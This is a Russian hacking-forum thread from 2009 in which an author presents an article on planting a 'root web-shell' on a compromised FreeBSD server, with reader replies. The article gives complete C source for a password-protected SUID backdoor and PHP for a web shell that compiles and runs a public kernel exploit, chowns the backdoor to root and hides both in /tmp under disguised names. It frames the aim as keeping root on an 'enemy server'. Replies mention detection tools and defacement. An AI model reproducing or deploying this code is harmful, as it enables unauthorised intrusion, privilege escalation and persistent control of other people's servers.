ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Root'овый Web-shell
  #1  
Старый 13.11.2009, 14:44
Аватар для Twoster
Twoster
Reservists Of Antichat - Level 6
Регистрация: 20.08.2008
Сообщений: 328
Провел на форуме:
7144817

Репутация: 1503
По умолчанию Root'овый Web-shell

Оригинал статьи можете прочесть в Ноябрьском номере журнала Хакер или на моем сайте http://twost.ru

Итак, уважаемый Читатель, сегодня мы с тобой свершим переворот в сложившихся устоях ][ак-мира. Наверняка ты уже имел дело с web-shell'ами, такими как r57, c99, WSO2 и иже с ними. Так, вот о чем я — наверняка зайдя на свежезалитый шелл, ты первым делом смотришь свои права в системе, а именно результат команды «id» в nix-like системах.
Вот к примеру наши права по дефолту uid=80(www), gid=80(www), groups=80(www), т.е. права обычного юзера www! =( Но, не отчаивайся, сегодня мы научимся поднимать их до r00t'a и сохранять (!) непосредственно в веб-шелле, это наверняка мечта любого хакера.

Немного теории
Цитата:
SUID - расшифровывается как Set user ID, переводится с забугорного как "установить идентификатор пользователя".
Если установлены права доступа SUID и файл исполняемый (т.е. наш будущий бинарник), то при выполнении этот файл получает не права запустившего его(www), а права владельца файла(root, после смены владельца под рутом естественно!=))

Эксплойт — в нашем случае это компьютерная программа, использующая уязвимости в программном обеспечении и применяемая для повышения привилегий (Получения рута). (вольный пересказ Википедии)

Root, суперпользователь — это специальный аккаунт в UNIX-подобных системах с идентификатором (UID) 0, владелец которого имеет право на выполнение всех без исключения операций (грубо говоря, да простят меня линуксоиды, это аналог учетки Администратора в Windows). (вольный пересказ Википедии)
Итак, с теорией покончили (надеюсь было не скучно), движемся далее...

Наполеоновские планы

Планы у нас круче, чем у Наполеона, мы собираемся сделать мировую революцию.


Для начала распишем планы нашей революции, нам предстоит удивить всех своим (!) рутовым web-шеллом, которого нет ни у кого! А именно, нам предстоит:
1)Составить задачу и продумать алгоритм работы нашего чудо-шелла
2)Накодить SUIDник
3)Накодить непосредственно сам web-Shell
4)Связать все эти прелести чудесных языков программирования
5)и таки получить и сохранить r00t'a на вражеском сервере

Первым делом, первым делом... алгоритмы

Сначала придумаем алгоритм работы и вообще всю схему получения и сохранения рута.
Сразу предупрежу, что тестировать наше детище мы будем на сервере с установленной freeBSD 7.1, причины сего деяния оглашу позже.
Смысл всей нашей затеи состоит в следующем — мы запустим эксплоит из WEB'а, т.е. непосредственно из нашего любимого браузера, установим суидные права и сменим хозяина (owner'a) нашему суиднику и наконец-таки будем выполнять команды под рутом.
Разберемся поглубже, почему же мы выбрали для теста именно freeBSD 7.1? Все гениальное просто, мы ведь будем юзать эксплойт из веба, а под данную ОСь как раз есть подходящий эксплойт ktimer (http://milw0rm.com/exploits/8261), вся его прелесть заключается в том, что результат его работы — не получение /bin/sh, а установка uid=0, gid=0 вызывающему процессу, а это-то нам и нужно.

От слов к делу, начинаем ][-кодинг. PART I (Пишем SUIDник.)

Я сразу приведу листинг кода, а уж после будем с тобой его разбирать.


Цитата:
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{
// проверяем количество аргументов
if(argc == 3){
//проверяем наш пароль cool_hack
if(strcmp(argv[1],"cool_hack") == 0){
// Устанавливаем gid(0) r00t
setgid(0);
// Устанавливаем uid(0) r00t
setuid(0);
// Выполняем команды с установленными ранее правами
system(argv[2]);
}
}
return 0;
}
Ну, думаю глядя на комментарии уже становится ясен смысл нашей программы.
Сначала мы проверяем количество аргументов их должно быть три, argv[0] – имя самого скомпилированного SUIDника, argv[1] – наш пароль и argv[2]- непосредственно сама команда.
Сразу разберемся с некоторыми моментами работы с бинарными файлами при установленном SUID-бите, дабы не возвращаться к этому позднее.

1) -rwxr-x--x 1 www apache 5043 2009-09-09 13:51 suid
Файл suid с правами доступа -rwxr-x--x, т.е. хозяин файла (www) может читать, изменять и запускать на исполнение, члены группы (apache) могут читать и запускать файл на исполнение, а все остальные пользователи могут только лишь запускать на исполнение.
К примеру результат команды id через наш файл для членов группы site будет подобным uid=80(site), gid=80(site), groups=80(apache)

2) Устанавливаем бит SUID на файл командой chmod 4751 suid

-rwsr-x--x 1 www apache 5043 2009-09-09 13:51 suid
Наверняка заметили, что символ x (запуск на исполнение) сменился на s (SUID бит). Как мы уже знаем бинарник с суид битом будет выполняться не от имени вызывающего, а от имени хозяина (owner'a). Опять же результат команды id через наш файл для членов группы site будет подобным uid=80(www), gid=80(www), groups=80(apache)

3) Забегая вперед обозначим, что нам придется сменить владельца файла, мы это сделаем под рутом командой chown root suid.
-rwsr-x--x 1 root apache 5043 2009-09-09 13:51 suid
И снова результат команды id через наш файл будет подобным uid=0(root), gid=0(root), groups=80(apache). Исходя из этого, уже видно что любой пользователь системы, даже не входя в состав группа хозяина имеет право на запуск бинарника, да мало того, еще и в правами хозяина, то бишь рута, т.к установлен SUID-бит.

Так-с, с этим разобрались, осталась самая малость, скомпилировать файл, делаем это командой gcc suid.c -o suid. В итоге получаем бинарный файл suid.
Пример использования будет таков - "./suid cool_hack id" (имя файла, пароль, команда)


От слов к делу, начинаем ][-кодинг. PART II (Пишем web-shell.)

PHP код:
<?php
/************************* CONFIGURATION **************************************/
$pass_suid 'cool_hack'// пароль, который мы установили в сорцах суидника
/************************* END CONFIGURATION **********************************/

/************************* FUNCTIONS ******************************************/

/*
Наша функция по выполнению команд
Если существует файл /tmp/conf (так мы замаскировали наш суидник),
то выполнение команд идет через него, иначе просто функцией system.
*/
function hack_system($cmd,$pass_suid)
{
    if(
file_exists('/tmp/conf')){

        
system('/tmp/conf '.$pass_suid.' "'.$cmd.'"'));

    }
    else{

        
system($cmd);
    }         

}

/*
Вот и наша главная функция, которая скопирует наш эксплойт и суидник,
скомпилирует их и запустит
*/
function give_me_root()
{
    
// компилируем эксплойт
    
system('gcc bsd-ktimer.c -o /tmp/configure');

    
// компилируем суидник
    
system('gcc suid.c -o /tmp/conf');

    
// запускаем сплойт, меняем овнера суиднику и устанавливаем права
    
system('/tmp/configure; chown root /tmp/conf; chmod 4777 /tmp/conf');

    return print 
'OK!';
}

/************************* END FUNCTIONS **************************************/

print
'<html>'.
'<head>'.
'<title>r00t web-shell</title>'.
'</head>'.
'<body>';

/************************* MAIN CODE ******************************************/

/*
Выводим форму для выполнения команд
*/
if(!isset($_POST['cmd'])){
print 
'<form method="post">'.
'<input name="cmd" type="text" value="ls -lia">'.
'<input type="submit" value="Go">'.
'</form><br><br>';
}
else
{
    
hack_system($_POST['cmd'],$pass_suid);
}

/*
Выводим заветную кнопочку для получения рута
*/
if(!isset($_POST['give_me_root'])){
print 
'<form method="post">
<input type="submit" name="give_me_root" value="Give me r00t">
</form>'
;
}
else
{
    
give_me_root();
}
/************************* END CODE *******************************************/
print
'</body>'.
'</html>';
?>

Интеграция, адаптация и прочие непонятные слова

В итоге предыдущих частей статьи мы таки получили рута, и при последующем посещении web-шелла мы уже будем рутом (при условии, что наш суид-шелл не увидит рут, и не удалит его (: ).
Однако шелл у нас получился довольно примитивный, чтобы интегрировать наши прелести в привычные шелла типа r57, c99, WSO2 и т.д. принцип работы тот же.
На диске ты сможешь найти подправленный мною код шелла r57. Единственное, что отличает подправленный r57 от шелла, который мы сегодня с тобой написали, это то, что в r57 я эксплойт и суид-шелл скомпилировал и перевел полученные бинарники в base64, далее вставил полученный код в сам шелл. Далее мы расшифровываем base64 код и сохраняем в файл. Таким образом у нас получается один файл, это удобнее в плане транспортирования и заливки.

Так, с интеграцией в другие шеллы разобрались, теперь осталось разобрать ситуацию с применением эксплойтов для других операционных систем и других версий.
Причина по которой я выбрал для теста FreeBSD, как я уже писал в начале статьи в том, что данный эксплойт под версию 7.1 и 7.2 результатом своей работы возвращает не /bin/sh, которой мы бы пользовались при простом бекконекте а возвращает uid и gid 0 для текущего процесса, т.е является универсальным. Последний способ для нас более удачен, т.к. мы можем использовать его непосредственно из web'a. Таким образом мы пришли к выводу, что для использования эксплойта с нашими условиями нам необходимо переписать эксплойты так, чтобы они устанавливали uid, gid, а как это уже организовать - история другой статьи.

Подводим итоги.

Итак, пора подвести итоги наших приключений.
Сразу же хочется отметить плюсы и минусы данного подхода к получению рута.

[+] Получаем права Root на веб-шелле
[+] Не нужен сервер для бекконекта
[+] Обход фаервола, т.к. нет исходящих соединений, бинда порта и т.д. (а зачастую большая проблема для создания бекконекта.)

[-] Пока малое количество эксплойтов, которые мы можем использовать, остальные нужно редактировать.
[-] Если наш шелл попадет в руки к нашим недругам, либо просто к нечистым на руку, то злодеи получат уже готовенький root шелл без особых усилий, так что защищайте свой шелл! =)


Благодарности
Выражаю благодарность за советы, тестирование и помощь следующим подозрительным личностям - IceAngel_, oRb, jokester

Файлы к статье - http://dump.ru/file/3762487
__________________

You may say I'm a dreamer
But I'm not the only one

Последний раз редактировалось Twoster; 14.11.2009 в 07:31..
 
Ответить с цитированием

  #2  
Старый 13.11.2009, 14:53
Аватар для R[00]T1X
R[00]T1X
Новичок
Регистрация: 17.02.2009
Сообщений: 4
Провел на форуме:
98819

Репутация: 2
По умолчанию

Отличная статья, читается легко, спасибо!
Добавлю в закладки.
 
Ответить с цитированием

  #3  
Старый 13.11.2009, 14:57
Аватар для Spyder
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076

Репутация: 4303


По умолчанию

любая IDS оч быстро спалит суидник =)
 
Ответить с цитированием

  #4  
Старый 13.11.2009, 14:58
Аватар для Twoster
Twoster
Reservists Of Antichat - Level 6
Регистрация: 20.08.2008
Сообщений: 328
Провел на форуме:
7144817

Репутация: 1503
По умолчанию

Spyder, не оставляй неодобрительные комментарии, ты же знаешь, я этого не люблю!
Спасибо за отзыв! =)
__________________

You may say I'm a dreamer
But I'm not the only one
 
Ответить с цитированием

  #5  
Старый 13.11.2009, 15:32
Аватар для razb
razb
Постоянный
Регистрация: 24.03.2009
Сообщений: 670
Провел на форуме:
2868783

Репутация: 414


Отправить сообщение для razb с помощью ICQ
По умолчанию

Цитата:
любая IDS оч быстро спалит суидник =)
Ну вообще то IDS'ы это сетевые мониторы и к суид файлам не имеют ни малейшего отношения, а вот например монитор суидников sXid запалит и rkhunter тоже.
И еще пасс на суиднике палиться утилитой strings )
 
Ответить с цитированием

  #6  
Старый 13.11.2009, 18:40
Аватар для Spyder
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076

Репутация: 4303


По умолчанию

razb, IDS - это не только сетевой монитор, нормальна идс следит и за внутренней струкуторой системы и суидники спалит =) Хотя ты прав, что сущесвтуют спец системы для поиска суидников
 
Ответить с цитированием

  #7  
Старый 13.11.2009, 19:03
Аватар для Nightmarе
Nightmarе
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
Провел на форуме:
5749763

Репутация: 1680


Отправить сообщение для Nightmarе с помощью ICQ
По умолчанию

Цитата:
Сообщение от Spyder  
любая IDS оч быстро спалит суидник =)
Так и пусть, он нам нужен для правки индекса, а потом пусть и удаляют
 
Ответить с цитированием

  #8  
Старый 13.11.2009, 19:11
Аватар для Aртем
Aртем
Познающий
Регистрация: 18.10.2009
Сообщений: 68
Провел на форуме:
330834

Репутация: 90
По умолчанию

ну и по традиции давай аттач, в целом не плохо, но не универсально.
и например что бы в этой теме не было два миллиона вопросов по типу "Что такое SUID????" или "Как эксплуатировать эксплоит????7" сними видео подтверждение с подробным описанием действий. Хотя это и не обязательно делать. Молодец.

[Добавлено]
После теста твоего предложения, сервер уснул летаргическим сном

Последний раз редактировалось Aртем; 13.11.2009 в 19:22..
 
Ответить с цитированием

  #9  
Старый 13.11.2009, 19:21
Аватар для razb
razb
Постоянный
Регистрация: 24.03.2009
Сообщений: 670
Провел на форуме:
2868783

Репутация: 414


Отправить сообщение для razb с помощью ICQ
По умолчанию

2Spyder
Все понял, ты имел ввиду HIDS (host-based ids), но вообще просто говоря ids имеется ввиду NIDS (network-based ids), а так согласен )
 
Ответить с цитированием

  #10  
Старый 13.11.2009, 20:17
Аватар для gisTy
gisTy
Постоянный
Регистрация: 24.05.2008
Сообщений: 589
Провел на форуме:
3629857

Репутация: 504


По умолчанию

Цитата:
Сообщение от razb  
2Spyder
Все понял, ты имел ввиду HIDS (host-based ids), но вообще просто говоря ids имеется ввиду NIDS (network-based ids), а так согласен )
мне так кажется, что спудер имел ввиду IDS как общее понятие, которое делится на HIDS/NIDS/etc, а ты росто решил повыеживаться перед зеленым ради репки
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
webshell scripts -) blackybr PHP, PERL, MySQL, JavaScript 20 28.03.2010 02:17
WEB shell - Хостинг кмпания + 70 сайтов BOG Доступы, shells, ftp - Покупка, продажа 0 06.06.2006 23:31
Защита Web приложений с помощью Apache и mod_security k00p3r Чужие Статьи 0 12.06.2005 20:51



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ